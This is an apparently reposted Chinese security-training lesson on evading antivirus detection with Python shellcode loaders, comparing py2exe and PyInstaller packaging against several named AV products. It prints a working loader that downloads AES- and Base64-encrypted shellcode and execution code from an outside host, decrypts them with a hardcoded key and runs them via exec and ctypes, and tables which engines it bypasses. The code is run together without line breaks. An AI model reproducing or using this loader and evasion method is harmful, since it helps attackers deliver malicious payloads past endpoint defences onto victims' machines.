来源于97次直播课件

#知识点:1、Python-免杀模块-ctypes2、Python-免杀选择-打包器&加密器3、Python-免杀对抗-virustotal(VT)
1、打包器选择-安装使用-py2exe
1.安装库 py2exe2.打包代码 编译3.对比pyinstallermytest.py:from distutils.core import setupimport py2exesetup(console=['aes-plus.py'])打包aes-plus.py编译exepython mytest.py py2exe
2、打包器对比-测评主流-py2exe&pyinstall




| 厂商 | pyinstall | py2exe |
| 某管家(开启引擎) | ms-df 过 ms-hr 被杀 | ms-df 过 ms-hr 过 |
| X60 | ms-df 过 ms-hr 被杀 | ms-df 过 ms-hr 过 |
| 某绒 | ms-df 被杀 ms-hr 过 | ms-df 过 ms-hr 被杀 |
| Windows Defender | ms-df 过 ms-hr 被杀 | ms-df 过 ms-hr 过 |
总结:在免杀对抗中,Python编译打包py2exe效果优于pyinstall;但执行兼容性上跟不上pyinstall,具体大家可查阅编译资料!
3、加密器选择-测评主流-AES加密
在上篇文章中,ms-hr和ms-df均采用了Base64可解码函数今天我们来测评下AES高加密算法,代码中自定义解密函数利用提前加密好的关键代码段或Shellcode进行传输解密执行利用思路:对shellcode&执行函数全AES&Base64解密编码,调用执行http://www.xiaodi8.com/1.txt aes+Base64编码的Shellcodehttp://www.xiaodi8.com/2.txt aes+Base64 Ctypes编码的调用执行代码代码如下:from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_heximport base64,ctypes,requests# 解密后,去掉补足的空格用strip() 去掉def decrypt(text):key = '9999999999999999'.encode('utf-8')iv = b'qqqqqqqqqqqqqqqq'mode = AES.MODE_CBCcryptos = AES.new(key, mode, iv)plain_text = cryptos.decrypt(a2b_hex(text))return bytes.decode(plain_text).rstrip('\0')def zx(shellcode):#获取执行函数代码func=requests.get('http://www.xiaodi8.com/2.txt').text#aes解密执行代码func=decrypt(func)#base解码执行代码func=base64.b64decode(func)exec(func)if __name__ == '__main__':#获取shellcode base64+aes加密值sc=requests.get('http://www.xiaodi8.com/1.txt').textsc=decrypt(sc) #aes解密sc=base64.b64decode(sc) #base64解密zx(sc)


| 厂商 | pyinstall | py2exe |
| 某管家(开启引擎) | my-aes过 | 未测,理论过 |
| X60 | my-aes过 | 未测,理论过 |
| 某绒 | my-aes过 | 未测,理论过 |
| Windows Defender | my-aes过 | 未测,理论过 |
总结:在选择编码或加密时,高强度难解密算法更适合免杀对抗!

培训请扫码:
国庆特惠价,吃西瓜哦

文章转载自小迪安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




